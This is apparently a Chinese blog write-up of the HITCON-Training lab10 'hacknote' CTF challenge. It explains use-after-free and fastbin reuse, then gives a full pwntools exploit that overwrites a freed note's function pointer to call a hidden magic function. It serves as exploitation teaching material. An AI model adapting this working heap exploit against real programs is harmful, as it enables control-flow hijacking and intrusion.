HITCON-Training-master lab10 wp

UAF原理:

UAF就是Use After Free,顧名思義,就是在一個(gè)堆被釋放后再次被使用,一般來說有三種情況:

  1. 堆被釋放后,對(duì)應(yīng)的指針被設(shè)置為null,這時(shí)再使用它程序就會(huì)崩潰
  2. 堆被釋放后,對(duì)應(yīng)的指針沒有被設(shè)置為null,在它下次被使用之前沒有代碼對(duì)這塊堆進(jìn)行修改,那么程序有可能可以正常運(yùn)行
  3. 堆被釋放后,其對(duì)應(yīng)的指針沒有被設(shè)置為null,但是它在下次使用前,有代碼對(duì)這塊堆進(jìn)行了修改,當(dāng)程序再次使用這個(gè)堆內(nèi)存時(shí),就可能會(huì)出現(xiàn)奇怪的問題

一般的 UAF漏洞指的是后兩種情況,我們可以利用的也只有后面兩種情況

UAF漏洞利用過程:

  1. 申請(qǐng)一段空間,并將其釋放,釋放后的指針不清空,將這個(gè)指針簡(jiǎn)稱為p1
  2. 申請(qǐng)空間p2, 由于malloc分配過程原則,使得p2指向剛剛釋放的p1的空間,構(gòu)造特殊的數(shù)據(jù)將這段內(nèi)存空間覆蓋
  3. 利用p1,一般會(huì)多出一個(gè)函數(shù)的指針,由于之前已經(jīng)使用p2將p1的數(shù)據(jù)給覆蓋了,所以此時(shí)p1上的數(shù)據(jù)是我們可以控制的,就存在劫持函數(shù)流的可能

下面拿HITCON的lab10做例子
程序是32的一個(gè)菜單程序
有4個(gè)選項(xiàng): add,delete,print ,exit

hacknote

查看ida反編譯代碼:

add_note

print_note_content是puts函數(shù)的一個(gè)指針:

print_note_content

程序創(chuàng)建note的時(shí)候,會(huì)先分配8byte的空間來存放print_note_content和content的指針,然后根據(jù)輸入的size的大小分配空間給content
示意圖如下:

struct

print_note函數(shù):

print_note

delete函數(shù):

delete_note

可以發(fā)現(xiàn)它只是free了內(nèi)存,但是并沒有清空,很顯然,這里存在Use After Free的情況
假設(shè)我們執(zhí)行程序如下:

def create(size,content)
create(16,'aa')
create(16,'bb')
delete(0)
delete(1)

則程序中會(huì)分配4個(gè)堆塊

malloc

free掉后因?yàn)樗鼈兊拇笮∥挥趂astbin,所以會(huì)被放到fastbin中

fastbin

此時(shí)如果我們?cè)偕暾?qǐng)一個(gè)note2,大小為0x8的話,根據(jù)malloc的分配原則 ,它會(huì)將最近free的堆塊優(yōu)先分配,它先會(huì)給note分配8個(gè)字節(jié)的空間來存放指針,這個(gè)堆塊是note1free后的堆塊,接著它會(huì)將note0存放指針的堆塊分配給note2的content,這個(gè)時(shí)候如果我們將note0的指針覆蓋成別的函數(shù)地址,再通過print_note調(diào)用的話就可以劫持函數(shù)執(zhí)行流了

note2

所以解題思路:

  1. 先create兩個(gè)note,content size大小不為0x8就行了
  2. 然后將這兩個(gè)note delete掉
  3. 再創(chuàng)建一個(gè)note2,大小為0x8,content內(nèi)容為magic函數(shù)
  4. 調(diào)用print_note執(zhí)行打印note0的內(nèi)容,就可以執(zhí)行magic函數(shù)了

附上exp:

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = "debug"

p = process('./hacknote')
elf = ELF('./hacknote')

magic = 0x08048986

def create(size,content):
    p.recvuntil(":")
    p.sendline(str(1))
    p.recvuntil(":")
    p.sendline(str(size))
    p.recvuntil(":")
    p.send(content)

def delete(idx):
    p.recvuntil(":")
    p.send(str(2))
    p.recvuntil(":")
    p.sendline(str(idx))

def print_note(idx):
    p.recvuntil(":")
    p.sendline(str(3))
    p.recvuntil(":")
    p.sendline(str(idx))


create(16,'aa')
create(16,'bb')
delete(0)
delete(1)
create(8,p32(magic))
print_note(0)
p.interactive()
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • Mommy, what is Use After Free bug? ssh uaf@pwnable.kr -p2...
    Umiade閱讀 689評(píng)論 0 0
  • iOS面試小貼士 ———————————————回答好下面的足夠了------------------------...
    不言不愛閱讀 2,247評(píng)論 0 7
  • 在11年我決定結(jié)束我的單身生活,是因?yàn)槲遗鲆娏艘粋€(gè)怦然心動(dòng)的人,我們開始了一段異地的戀情,縱然是異地我也是歡喜的,...
    薛公子鳴魅閱讀 286評(píng)論 0 0
  • 不抱怨,他人的成功是他人氣運(yùn)的成熟,而你說明明已經(jīng)很努力了,可哈利路亞就是不來光顧你!你很氣憤,沒有了前進(jìn)的動(dòng)力。...
  • 自己判斷一下,你是否符合下面幾個(gè)特征? 1、在人多熱鬧的場(chǎng)面容易煩躁,更喜歡一個(gè)人安靜地獨(dú)處 2、和人交流不喜歡打...
    阿何閱讀 999評(píng)論 9 33

友情鏈接更多精彩內(nèi)容